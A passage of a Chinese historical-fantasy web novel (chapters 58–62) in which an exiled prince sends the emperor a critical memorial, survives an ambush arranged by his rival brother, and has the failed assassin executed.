“殿下,敢问您是不是对老夫有什么安排?” 第58章 大喜的日子 几次和李钰争斗,非但没有占到一点便宜,反倒是被李钰数次羞辱,损兵折将。 到了这一步,李泰也算是看开了。 朝堂上的手段奈何不了李钰,那就只能玩儿点其他的了。 “我那大哥不出意外,万寿宫启用之日就是离京之时了。” “前往宣化的路上要穿过整个北境州府,路上少说也要耗时半月之久。” “这一路上总归是会出现一点意外不是?” 听到这话的吴三友微微一愣,瞬间就意识到了李泰这话中的意思。 “殿下是谁要在半路……” 说着,吴三友就做了个抹脖子的动作。 李泰面带几分笑意的看着吴三友。 “舅舅,人有旦夕祸福,这一路上无妄之灾那么多,谁又能说得准呢?” “还是说,舅舅不想让我那大哥出现什么意外?” 吴三友听到这话,眼底浮现出几分狠色。 “殿下说的不错,这一路谁说不会出现意外呢?” “北境常年混乱,山匪流寇繁多,总有那不长眼的。” 说到这里,吴三友看着李泰说道:“殿下放心,老夫知道怎么做了。” 见吴三友明白了自己的意思,李泰这才说道:“舅舅放心,等我那大哥没了,这朝堂上还不是我说了算?” “你先在北境休息一年,我再寻找机会将你调回京城。” 此时的吴三友并不觉得李泰会害了他,毕竟他也算是秦王党了。 这一次如果真的拿下李钰,单凭这功劳,他在李泰这里也是独一份。 “陛下的旨意今天可能就到,舅舅尽快成行,至于人手我已经安排妥当,就在京郊候着。” “你把这东西收好,见了他们之后拿出来,他们自会听命与你。” 说着,李泰就递给了吴三友一枚玉佩。 将其收好之后,吴三友这才朝着李泰行礼道:“老夫多谢殿下了!” …… 乾帝不是很想在自己闭关之前再出什么幺蛾子。 答应了吴贵妃的请求之后,当天就下了旨意,免去吴三友工部尚书一职,降为代州刺史,流放北境,即日逐出京城。 至于从犯陈子敬以及刘天宝则是没有那么好的运气,被打入死牢,定了个秋后问斩的罪名。 速度之快,让整个京城的人都诧异不已。 而李钰在听到这个消息之后,却没有多少喜色。 吴三友没被杀倒是没超出他的预料,毕竟那是李泰的亲舅舅,当朝宠妃吴贵妃的亲哥哥,乾帝就算是气头上都没有直接砍了他,又怎么会事后杀了他? 反倒是被贬代州这个操作,让李钰有些想笑。 “纵观历朝历代,流放官员都是朝着南方走,这往北境流放的还是头一遭。” “我这父皇也算是开天辟地头一个了。” 正在一旁坐着的苏庭雪,此刻神色间满是好奇的看着李钰,眨了眨眼睛道:“这里面是不是有什么说法?” 李钰点了点头。 “八成是冲着我来的。” “代州遥控北境九镇,宣化就是其中之一,他身为代州刺史,能卡本王的东西不少。” “我那父皇,这是把我当草原上的蛮子整了。” 苏庭雪听到这些也是瞬间明白过来,看向李钰多了几分迟疑。 “那咱们如何是好?” 宣化本身就是苦寒之地,这要是再被人卡上脖子,那岂不是更加举步维艰? 见状,李钰也是宽慰道:“无妨,本王有办法应对,实在是不行一刀砍了吴三友,简单便利。” “人家可是朝廷任命的!你这么杀了他岂不是要落把柄在朝中?” “放心,动刀也是我有理,为夫的本事你还不知道?” 见李钰又在插科打诨,苏庭雪无奈一笑,但也知道李钰向来不做无把握的事。 和苏庭雪温存了一会儿之后,天色也渐渐暗了下来。 将其送走之后,李钰这才回到书房,开始着手准备呈给乾帝的贺表。 万寿宫是乾帝的清修之地。 也是乾帝日后探寻长生成仙之路的主要场所。 对于乾帝来说,这是一件大事儿。 无论是自己这种皇子,还是朝中大臣,都是要呈现贺表的。 李钰对于这种事儿无感,是因为他知道所谓长生不过是欺骗自己罢了。 就这万寿宫,劳民伤财才是真的。 他本来对这些没什么感觉,只等着时间到了离开京城就好。 可偏偏乾帝和一些人要借着这个机会让自己服软,这就让李钰有些生气了。 不想骂你非要找骂,那他就只能成全这群人了。 坐在书桌前凝神片刻后,李钰终于是提笔开始书写起来。 这一写,就是整整一夜。 翌日。 乾历,五月初一。 宜搬迁。 乾帝盛装出行,亲自前往万寿宫。 今天是他启用万寿宫的日子。 当来到万寿宫主殿外,敬表天地之后,乾帝便带领百官走进主殿。 相较于皇宫的乾元殿,这万寿殿要比其大上一倍有余。 要知道,乾元殿已经是皇宫中最大的宫殿了。 人逢喜事精神爽,此时的乾帝坐在主殿内,正在接受百官觐见,上奏贺表。 不过一会儿的功夫,乾帝面前的御案上就已经码放满了各级官员敬献的贺表。 “恭喜父皇,贺喜父皇!万寿宫大成,父皇距离长生之路便更进一步!” “待父皇修炼大成,得长生不老之法,必能庇佑我大乾千秋万,永世不朽!” “为祝贺父皇大喜之日,儿臣献上《上阳真人帖》,以助父皇求得长生。” 《上阳真人贴》? 当李泰说出自己要敬献的东西名字时,在场之人无不面色巨变。 上阳真人那可是传闻中最后得道成仙的大能! 其真迹久不存世,《上阳真人帖》更是传闻中,上阳真人的唯一真迹。 乾帝寻找了许久都没有结果,没成想今天居然就这么出现在自己面前了! 与此同时,朝臣也是纷纷恭贺起来。 “陛下宏愿得偿,实在是可喜可贺!” “此乃陛下心诚所致,再加上这吉时吉日,陛下修行必定大成!” 秦王李泰站出来献宝贺礼,不少官员也是纷纷附和。 听到这话的乾帝脸上喜色也愈发明显起来。 “泰儿有心了。” 见乾帝心情不错,李泰眼睛转了转,朝着自己手下的人使了个眼色。 一旁的官员瞬间心领神会,随后站出来道:“陛下,秦王心中挂念陛下,想必其他皇子也有准备。” “臣等听闻幽王殿下也有贺表敬献,坊间传闻幽王文章甲天下,不知可否让我等瞻仰一番?” 第59章 气死偶了 看着乾帝那喜笑颜开的样子,下列的刘玄礼等人心有愁容。 皇帝追求长生,无论什么时候都不算是好事儿。 当今圣上昏聩至此,只求长生而不管天下黎民百姓死活,朝中居然没有一人指出问题。 反倒是在这时候大肆庆祝,上表敬贺。 原先有太子的时候这种情况还少一点,现如今李钰变成了幽王,甚至要马上被逐出京城了。 朝中什么妖魔鬼怪都出来了。 现如今想要乾帝展示幽王的文章,显然是醉翁之意不在酒。 乾帝此刻倒是没觉得有什么。 李钰的文章本就在计划之内,展示一番也无可厚非。 毕竟他可不相信,李钰会在这时候给他添堵。 “幽王何在啊?” 一声询问,殿内却是没有任何人应声。 乾帝脸上的笑容逐渐开始收敛起来。 环视了一眼之后,发现这殿内根本没有李钰的身影,不由得眉头轻轻皱起。 此时的乾帝才意识到,今天这大日子里,李钰居然没有出现在这里! 就在乾帝要追问的时候,殿外突然传来一道声音。 “幽王贺表至!” 听到这声高喊,乾帝脸上也重新露出笑容。 但下一秒,当看到殿外走进来的是一名太监的时候,乾帝脸上的笑容也随之一僵。 “幽王呢?” 面对乾帝的询问,那呈现贺表的太监跪在地上,如实禀报。 “启奏陛下,幽王于万寿宫外上呈贺表,直言今日大吉,为了讨个彩头,特意今日离京,北上远赴宣化。” 幽王离京了? 当听到这个消息的时候,乾帝脸上的神色也从诧异变得愤怒起来。 “他离京为何不和朕说?谁让他走的?” 见乾帝愤怒不已的样子,那太监缩了缩脖子,小心翼翼道:“幽王说,这启程的事儿早在数月前就应该成行的,拖延太久难免被人非议。” 乾帝闻言,这才想起来,当初罢免李钰太子之位的时候,就让李钰离京了。 只是后面各种破事儿,需要李钰来收尾,结果拖延到了现在。 所以说,李钰现在走也没毛病。 有气没地方发泄的乾帝,此刻心中憋闷的很。 再看那太监双手捧着的奏疏,乾帝目光闪烁,最终朝着那太监开口道:“将贺表交给秦王,读给朕听听。” 那太监转而看向秦王李泰。 见乾帝这么安排,李泰也是心领神会,知道乾帝是要自己去诵读李钰的奏疏,让这百官看看,即便是心高气傲如李钰,这时候也要低头。 一脸自得的将那奏疏接过来,李泰轻咳几声,清了清嗓子,随后将那贺表打开。 只是,当目光落在那贺表上的瞬间,李泰脸色突然一变,整个人都僵在原地一动不动。 乾帝等了片刻,见李泰迟迟不肯诵读李钰的贺表,满是疑惑的看了过去。 见李泰僵在原地,手捧着那贺表微微颤抖,面露不解之色。 “怎么不读啊?” 李泰闻言,一个激灵回过神来,随后跪倒在地上,颤声道:“父、父皇,儿臣…儿臣不敢读。” “不敢读?” 乾帝微微一愣,随后便以为李泰不敢读,是因为李钰这文章写的太好,他不敢读出来,怕毁了他们父子二人原本的计划。 但转念一想,这李钰都离京了,自己就算是想要用文章来处置李钰也不太可能了。 既然写的不错,那倒不如读出来给他这个皇帝长长脸。 怎么说也是自己的儿子,教子有方这名声还不是落在他这个皇帝身上? 想到这里,乾帝摆了摆手。 “无妨,尽管读就是了。” “让大臣们都看看幽王作的锦绣文章!” 听到这话,李泰吞了吞口水,想要拒绝,但又不敢忤逆乾帝的意思。 斟酌片刻后,终于是下定决心,将其读了出来。 “大乾亲王李钰谨奏,为直言天下第一事,以正君道、明臣职,求万世治安事。” “君者,天下臣民万物之主也。惟其为天下臣民万物之主,责任至重。” “陛下即位初年,铲除积弊,焕然与天下更始,一时天下虽未可尽以治安予之,然贯朽粟陈,民物康阜,三代后称贤君焉。” “然陛下则锐精未久,妄念牵之而去矣。反刚明而错用之,谓长生可得,而一意玄修。富有四海不曰民之脂膏在是也,而侈兴土木。二十余年不视朝,纲纪驰矣。数行推广事例,名爵滥矣……” “够了!” 只见那乾帝猛地怒吼一声,接着便将自己手中的茶盏朝着李泰丢了过去。 李泰也不敢躲闪,就这么硬用脑袋接了下来。 茶盏碎裂,李泰的脑袋也被砸破,整个人跪倒在地上不敢言语。 只能强忍着疼痛,生怕一不小心触怒了乾帝。 李泰一开始诵读奏疏的时候,乾帝还愣了一下。 因为这东西听起来不像是贺表,倒像是奏疏。 但因为前面还算夸赞,所以乾帝没有阻拦,直到后面这段,李钰可谓是骑脸输出。 “说朕一意玄修,不体恤民间疾苦,耗费民脂民膏!” “朕哪里有他说的这么严重?” “朕富有四海,享受享受不过应该吗?” “他这些话,哪里是人子之言?” 看着暴怒的乾帝,百官们也是瑟瑟发抖。 但还是有不少大臣们心中暗自叫好。 对于李钰那也是愈发钦佩起来。 原本以为是贺表,谁知道是谏书! 这言辞当真是犀利的很! 李泰这时候也是跪倒在地上,额头上鲜血顺着脸颊流下,心里早已将李钰骂了个遍。 这奏疏虽然不是他写的,但却因为这奏疏而受了伤。 这李钰,临走还要坑自己一把。 乾帝此刻站起身来,快步来到李泰面前,一把将那奏疏夺了过来。 等到乾帝将那剩下的部分全部看完,早已是被气的七窍生烟。 猛地将那奏疏丢了出去。 “欺天了!” “给朕去将幽王抓回来!” “朕要将他千刀万剐!诛连九族!” “去!” 怒吼一声之后,乾帝突然仰面朝天,身体僵直,最终重重的倒在了地上。 “陛下!陛下!” 随着乾帝被气晕过去,殿内瞬间乱做一团。 而那礼部尚书刘玄礼则是看着自己手边的奏疏,稍作犹豫后将其拿起,开始仔细翻看起来。 当刘玄礼将那奏疏看完之后,心中早已是震惊的无以复加。 心中只觉得那李钰是真的大胆,居然什么都敢说。 也就是此时,秦王李泰趁着乾帝昏过去之前所说的话,开始下令。 “来人!速速追击幽王,将其擒拿回京!听候发落!” “如有反抗,格杀勿论!” “且慢!” 看着刘玄礼跳出来阻拦,李泰眼中一寒。 “刘大人是要抗旨吗?” 只见那刘玄礼不慌不忙道:“抗旨不敢,但陛下刚刚所言应该是气急攻心下的气话。” “殿下不可当真。” “刘玄礼!你这话是什么意思?” 见李泰不服气,刘玄礼淡淡道:“臣也是替陛下和秦王着想。” “陛下刚刚气急攻心下说出诛连九族的昏话,殿下真要是当了真,岂不是也在诛杀之列?” 第60章 一疏动天下 当乾帝喊出来诛连九族这话的时候,包括刘玄礼在内的不少大臣都惊了一下。 也知道这是乾帝气急攻心之下胡乱说的。 但杀幽王的心思肯定是真的。 此刻因为刘玄礼点破这一点,就连秦王李泰也愣了一下,面露怒色,可又偏偏不知道如何反驳。 就在这时,秦王李泰的狗腿子,御史台的御史便有人跳了出来。 “刘玄礼!陛下诛连九族之言是有些气话在里面不假,但幽王将陛下气至昏厥,也是事实!” “难道就任由其逍遥法外不成?” 看着说话之人,刘玄礼倒是不慌不忙,开口道:“那你待如何?现在派人将幽王押解回京?” “天下人看了之后又当如何想这件事儿?” “陛下无容人之心,肆意报复?” “你们倒是痛快了,丢的可是陛下的脸面!” “再者说,以幽王的性子,你们没有旨意就想要他回来,事情闹大了如何收场?” 乾帝昏过去的时候之后说了一句话,算是口谕,但李钰可未必会认。 见刘玄礼如此帮李钰开脱,刑部尚书长孙冲眼睛眯了眯。 他刚刚看到了刘玄礼将李钰的奏折拿起来翻看过,应当是知道了里面的内容,才不遗余力的要保护李钰。 稍作思索之后,长孙冲突然站了出来。 “秦王殿下,臣以为现在不宜将幽王拦下来召回京城。” “陛下没有降下明旨,贸然将一位就藩的亲王召回京城,难免会被人多想。” “再者,幽王这本奏疏之中无论写了什么,我大乾都没有因言获罪的惯例,如果以此为由将幽王抓回来,那是不是御史台的御史也要全都抓起来?” 那些原本还打算站出来反驳刘玄礼的御史台御史,此刻一听这话,纷纷闭上了自己的嘴巴。 见朝中两位尚书反对将李钰抓回京城,秦王李泰也没了办法。 他虽然是皇子不假,但无论是刘玄礼还是长孙冲,两人全都是朝中重臣。 就算是乾帝也要卖几分薄面,他一个皇子还没有监国之权,自然是拿这两个人没有办法。 “刘玄礼,长孙冲!” “记住你们今天的话,待陛下醒来,你们到时候再想怎么和陛下解释吧!” 放了一句狠话之后,秦王李泰便跟着太医朝着后殿赶去。 不少大臣们见状,也是心有余悸,但更好奇幽王里面还写了什么,能够将陛下气成这个样子。 看着刘玄礼手里的奏疏,长孙冲开口道:“刘大人,可否给本官一观?” 将手里的奏疏递给了长孙冲,刘玄礼到没想着隐瞒。 因为同朝为官,他知道长孙冲此人的人品。 果然,当长孙冲将李钰所写的奏疏看完之后,睁大双眼,满脸的惊骇之色。 “字字珠玑,此疏当为我大乾天下第一疏!” “幽王殿下大才啊!” “痛快!痛快!” 见长孙冲这幅反应,刘玄礼苦笑一声。 “幽王他是说痛快了,但陛下那边怕是要记恨上了。” “圣人言,子不语父之过,幽王殿下这是犯了不孝之罪啊。” 然而,听到这话的长孙冲却是不以为意。 “什么不孝之罪,此乃我大乾臣子肺腑之言!” “陛下应该庆幸,我大乾还有此等见识的皇子在!” 说到这里,长孙冲顿了顿,随后道:“不过刘大人说的也是现实,当下能救幽王的,只有一个办法了。” “什么办法?” 长孙冲眼中光芒闪烁。 “将这天下第一疏昭示天下!” “如此,才能够保住幽王的性命。” 长孙冲这么做也不是没有道理。 乾帝自登基以来,前期还好,但这十几年间做事是越来越混账。 京城百官阿谀奉承者多,但不代表整个天下都是这样。 不少有识之士,甚至读书人还是期望朝廷有所改变的。 如果将李钰这篇奏疏昭示天下,必定会引起不少人的共鸣,有道是法不责众,有了天下士子的支持,李钰也不会有什么危险。 毕竟乾帝是个要脸的人,还做不出冒天下大不讳而杀人的事儿来。 刘玄礼听了这个办法,犹豫了片刻之后说道:“这么说来,也只有这么一个办法了。” “就依照你长孙大人的来!” …… 京郊官道。 李钰的马车正缓缓行驶在上面。 车后还有数百名护卫随行。 这些护卫都是李钰从虎贲营内挑选出来的,这一路是保护他和苏庭雪的安全。 至于虎贲营剩下的人,则是轻装简行,在暗中随行。 之所以如此谨慎,也是因为想要自己死的人太多了。 尤其是这一次上奏的奏疏,恐怕乾帝看过之后,也想杀了自己。 这明着不能来,暗的自然也就少不了了。 此时的马车内,李钰斜靠在软榻上,一旁还有苏庭雪作陪。 两人自从经过万寿宫一事后,关系也是突飞猛进。 苏家也放心将苏庭雪送到自己身边,这一路上,李钰也算是能享受享受了。 “殿下,那奏疏递上去,当真不会触怒陛下?” “呵,我现在做什么他都不高兴,既然不高兴那就一直不高兴好了。” 李钰轻笑一声,眼底也浮现出一抹讥讽。 “他让我写贺表我就写,我要那么听话那还是我吗?” “再者说,这些年朝堂上乌烟瘴气,还不全都是因为他?” “我这是在替列祖列宗骂他。” 见李钰说的头头是道,苏庭雪也不由得苦笑一声。 但既然李钰不担心,她也没了担心的必要。 “张敬已经带人先一步出发,在前面探路了,他让我转告殿下,宣化不比京城,那地方凶险的很。” “尤其是要你注意宣化总兵韩煜。” 听到这个名字,李钰不免有些好奇。 “你对此人有多少了解?” 苏庭雪出身勋贵将门,对于朝中一些武将也颇为了解。 “这韩煜确实是比较特殊,起码在诸多边关将领中是最特殊的一个。” “大乾北境有九镇,其中九位总兵,宣化韩煜绝对能排进前三。” “这人武艺很高?” 苏庭雪摇了摇头。 “这个不太清楚,但家父曾说过,韩煜此人实力不祥,但绝对不低,其手中宣化边军,总共有万余人,近七八年来,对草原胜率极高,从未有过败绩。” “而且这韩煜最擅长的还是骑兵。” 草原蛮子从小就在马背上长大,骑兵极强。 能够用骑兵将草原异族击败,足可见这韩煜还是有点东西的。 “这么说来,这人还是有点真本事在的。” 苏庭雪听到这话,摇了摇头。 “这还不是他最厉害的,最厉害的是,他是边关九镇中,唯一执掌兵权超过十年的总兵。” “除他之外,九镇总兵已经轮换过最少三轮了。” 第61章 半路截杀 大乾边关的总兵,按照规矩要三年一换。 情况特殊的最多留任一轮。 之所以这样,也是防止有人会拥兵自重。 但是当听到韩煜这个例外的时候,李钰也提起了一丝兴趣。 “这韩煜朝中有人?” 苏庭雪摇了摇头。 “韩煜独来独往,没有听说过他和朝中的谁有交集。” “而且这事儿不少人都弹劾过他,但都被陛下压下去了。” “那他凭什么能留住这么长时间?” 朝中无人还能这么稳当,这韩煜是真有点东西啊。 然而,苏庭雪对于这个也不是很清楚。 “具体原因不知道,只知道每次朝廷有了动他的心思,边关就会有蛮子叩关,韩煜率兵御敌,这事儿也就搁置了下来。” “而且草原上给韩煜起了个外号,说是韩煜之名在草原上可止小儿啼哭。” “朝庭需要一个在草原上有威望的人,这韩煜也就成了不二人选。” “种种原因之下吧,这韩煜也就一直留在了宣化。” 说到这里,苏庭雪看着李钰,开口道:“这韩煜在宣化威望极高,再加上那地方天高皇帝远的,你对上了还是小心行事,免得找你的麻烦。” 苏庭雪这时候吩咐的很认真,就是担心李钰去了宣化之后,无意间得罪了韩煜。 而李钰知晓了这些之后,则是心中开始盘算起来。 他去宣化和其他人不一样。 他是皇子身份,无论如何低调,都不会淡出韩煜的视线。 看样子自己这一次前往宣化,也不是什么轻松的事儿。 就在李钰心中琢磨这件事儿的时候,那原本缓缓行驶的马车突然停了下来。 心中还奇怪这马车怎么突然停下来的李钰,下一秒就听到了车外响起了通报声。 “殿下,咱们的路被人拦了。” 一听这话,李钰瞬间来了兴趣,随后抬手撩起车帘朝着前面看了一眼。 只见车队前面不远处,十几位黑衣人站在路当中,个个还蒙着脸,一看就是劫道的模样。 这是遇上劫道的了? 就在李钰满是好奇的时候,那陈玉楼低声道:“殿下,对面的人不像是普通山贼,看着像是军中出来的。” 李钰眼中光芒一闪,瞬间就猜到了对方的来历。 “看样子这是朝中有人等不及了,连京畿之地都不想让本王出去了。” 话音刚落,那对面就传来了喝骂声。 “前面车上的!赶紧给老子滚下来!” “慢一步老子宰了你!” 听着对面那猖狂至极的发言,李钰眼睛一眯。 “京畿之地就劫道,你们是真觉得自己命长是吧?” “笑话!老子都出来了,自然是不怕,老子只知道这地方是你葬身之地!” 看了一眼对方之后,李钰冷笑一声道:“看你这样子应该是知道本王的身份了,让你背后的人出来,本王倒是要瞧瞧,是谁这么着急要杀了本王。” 话音落下,只见对面静了静,随后一道身影缓步走了出来。 那人身披斗篷,遮着脸看不出来是谁。 等略带跛脚的走上前来之后,才将那斗篷的帽子摘了下来。 抬头似笑非笑的看向李钰。 “吴三友?” 看着出现在自己面前的吴三友,李钰眉头一挑,旋即笑出声来。 “看你这样子,是在这里等了本王好几天吧?” “没记错,你可是早就离京了才对。” 吴三友目光阴冷的看着李钰,沉声道:“我有今日,全都是拜你所赐!” “李钰,你害我一家的时候,可曾想过会有今日?” 听到这话的李钰摇了摇头。 “什么叫本王害了你一家?” “从你儿子再到你,你吴家变成这个样子,还不是咎由自取?” 吴三友脸色有些难看。 “多说无益,老夫今日在这里等着你,就是为了杀你!” “你还是乖乖束手就擒,老夫也好让你死个痛快!” 环视了一眼吴三友身后的那十几人,李钰轻笑道:“就凭眼前这些人?你好歹也是工部尚书,不至于连数都不识吧?” 只见那吴三友非但没有害怕,反倒是冷笑一声。 “谁说老夫只有这么点人了?” 说完,只见那吴三友打了一声口哨,下一秒,官道两侧的树林里就有无数身影闪出。 粗略看一眼,明显要比李钰现在手头的人多。 “李钰,你还是乖乖束手就擒的好,老夫这手下可都是军中好手,你今天是插翅也难逃了!” 闻言,李钰看向同行的苏庭雪。 “庭雪,虎贲营比这些所谓军中好手如何?” 此时的苏庭雪虽然有些紧张,但也知道李钰对于这种情况早有准备,因此表面看还算安定。 扫了一眼外面包围自己的黑衣人,苏庭雪开口道:“虎贲营算是精锐中的精锐,应该是要比他们强一点吧?” “看样子你也不太清楚,那咱们今天就见识见识。” 目光冷冷看了一眼吴三友,李钰随即下令。 “除了吴三友,一个不留。” “遵命!” 陈玉楼拱了拱手,随后策马上前。 那随行护卫的骑兵也是迅速做出反应,除了十几人围着马车之外,剩下所有人都开始行动起来。 “冲!” 随着陈玉楼一声令下,那剩下的骑兵便直取吴三友。 见李钰非但不向自己投降,还敢还击,吴三友也是迅速后撤,厉声喝道:“给我杀!一个不留!” 对于这一次截杀,吴三友还是很有信心的。 因为李泰给他的人手,全都是京畿大营内的精锐。 而且他们不是第一次干这种事儿,可以说是轻车熟路。 吴三友很自信,只需要片刻时间,李钰就会被他们抓住跪倒在自己面前。 然而下一秒,当双方撞击在一起的时候,陈玉楼手下的虎贲营旧部,只是一个照面就冲散了吴三友的手下。 惨叫声四起,不等那吴三友反应过来,地上就多了一堆尸体。 而那些从密林里冲出来的人,此刻也奈何不了保护马车的虎贲营士卒。 几次冲击都被挡了回去。 李钰就这么和苏庭雪坐在马车内,静静的听着外面的厮杀声。 等到李钰杯中茶水微凉时,那外面的厮杀声才渐渐停歇下来。 只听‘噗通’一声,陈玉楼的声音随之响起。 “殿下,吴三友带到。” 第62章 把脑袋给他们送回去! 厮杀结束的太快,以至于李钰都觉得吴三友在和自己开玩笑。 看了一眼被丢在地上瑟瑟发抖的吴三友,以及那远处满地的尸首,李钰甚至发现虎贲营的人还在上去补刀。 “这么快?” 陈玉楼没有说话,只是看向一旁的虎贲营校尉杨桐。 “殿下玩笑了,这些歪瓜裂枣,还不值当浪费太长时间。” 见杨桐如此自信,李钰眉头一挑,这才将目光落在了吴三友身上。 只见那吴三友身体微颤,神色间也满是惊恐之色,李钰不由得笑了笑。 “吴大人,这结果似乎有些和你预想的不太一样啊?” 听到李钰话中的调侃之意,吴三友这时候只觉得无比羞辱。 “李钰!要杀要剐快些动手!” “休要羞辱老夫!” 见吴三友一脸硬气的求死,李钰却丝毫不为所动。 “想死?哪有那么容易!” 说着,李钰看向苏庭雪。 “庭雪,本王有些好奇,我大乾对于刺杀皇子这事儿,有没有什么律法处置?” 听到询问的苏庭雪歪着脑袋想了想,开口道:“依律应当是谋逆之罪,可诛连三族。” “啧啧,这罪名可不小。” 李钰看向吴三友,见其脸色苍白,显然是被吓的不轻。 “吴大人,刺杀皇子这种事儿,以你的胆量绝对不是主谋,说出背后主使的人,本王或许可以考虑饶你株连三族之罪。” 听到这话,吴三友咬了咬牙。 “要杀要剐随你,这事儿就是老夫一人所为!” “你毁了老夫独子,又害的老夫丢了官职,老夫恨不得食你肉,寝你的皮!哪里需要什么幕后主使?” 看着神色激动的吴三友,李钰笑了笑。 “你越是这样,越证明你背后有人。” “满朝文武,能够值当你这么遮掩的,除了本王那六弟之外,也没谁值得你这么做了。” “吴三友,都是聪明人,本王问你是给你个机会,你不会以为自己不说,本王就会放过他了?” “做了这么多年工部尚书,你也太天真了吧?” 听到李钰这么说,吴三友一时间也是沉默下来。 看着吴三友的样子,李钰淡淡说道:“既然你不愿意说出来,那本王也不逼你了,不过你得借本王一样东西才行。” “什么东西?” 下意识的,吴三友就看着李钰询问了一句。 看了一眼吴三友,李钰嘴角微扬。 “你吴三友的项上人头。” 听到这话的吴三友,脸色骤然一变。 还没有反应过来,就听到李钰开始下令。 “杨桐,把吴三友的脑袋砍了,连带着这些刺杀大人一并处理好,给本王打包送到秦王府去。” 见李钰初次离京,手段就如此狠厉,即便是见多识广的杨桐,这时候也愣在了原地。 “怎么?不愿意做?” 杨桐急忙摇了摇头,随后躬身应是,转身前去处置。 那吴三友眼见李钰真的要杀自己,一时间也慌了神,开始挣扎起来。 “李钰!你当真要杀我?” “我可是代州刺史!你杀了我如何同陛下交代!” “交代?什么交代?本王杀人还要交代?” 李钰冷笑一声。 “既然动手了,就要想到会有这么一天。” 见李钰不为所动,一心要杀自己,吴三友厉声道:“我可是秦王的人!” “吴贵妃是我妹妹!你杀我就不怕他们问罪于你吗?” 听到吴三友搬出来吴贵妃和李泰吓唬自己,李钰摇头笑了笑。 “吴三友,你还真以为我怕吴贵妃和李泰?” “放心,你这颗脑袋,我就是给他们看的。” “多说无益,机会给过你了,自己不把握,那就下辈子注意点吧。” 说完,李钰便摆了摆手。 “拖下去吧。” 杨桐等人见状,也是不再废话,直接上手将还在挣扎的吴三友拖拽下去。 一旁的苏庭雪这时候皱着眉头看向李钰。 “殿下,这么做是不是有些不太合适?” 看着苏庭雪那担心的样子,李钰笑了笑说道:“庭雪,离京第一课本王今日就告诉你一个道理。” “人善被人欺,马善被人骑。” “离京之后,咱们日后能够依靠的只有自己。” “要想安安稳稳的过下去,那就要让一些人知道疼才行。” “道理说不通,那本王就只能用刀和他们说了。” 听完这番话,苏庭雪也沉默了片刻,随后开口道:“殿下所言有理,是我想的太简单了。” 苏庭雪知道,自己还是被保护的太好了。 人心险恶岂是写在脸上的。 京城之中数次交锋,结果秦王还是不肯放过李钰,这可是亲兄弟! 离京之后,甚至都没有走出京畿之地就派人来刺杀李钰。 足可见李钰已经和他们水火不容了。 将苏庭雪媃夷攥在手里,李钰安慰道:“离京之后,就是本王保护你了。” “你放心,只要本王在一日,这世上就不会有人伤的到你。” 听到这话的苏庭雪只觉得心中一甜,脸上露出一抹微笑,整个人斜靠在了李钰的怀中。 …… 皇城,寝宫内。 自乾帝昏死过去之后,就被送回到了原来的寝宫内。 太医诊治一番后,那乾帝的情况才稳定下来。 直至深夜时分,才慢慢苏醒过来。 只是一睁眼,乾帝就看到了守在自己床榻边上的秦王李泰。 眼底闪过一抹欣慰,那乾帝开口问道:“泰儿费心了。” “只要父皇龙体无碍,儿臣就不累。” 乾帝闻言,顿时老怀大慰。 “那逆子有你一分,朕也不至于落得如此下场。” “那逆子呢?为何朕不见他?” “咳咳~” 见乾帝提及李钰再次动气,李泰急忙安抚起来。 “父皇稍安勿躁,先缓一缓再说。” 帮乾帝顺了一口气之后,李泰这才咬牙开始告状。 “父皇昏过去之后,儿臣曾下令让人传召大哥回京问话,但却被礼部尚书刘玄礼以及刑部尚书长孙冲阻拦。” “眼下这时候,大哥怕是已经离开京畿之地了。” 听到有人阻拦李泰缉拿幽王,乾帝眼中寒光暴涨! “好好好!朕昏过去他们就如此做事?” “给朕将他们两个叫进来!” “朕要问问他们,这大乾,朕到底还能不能做得了主!”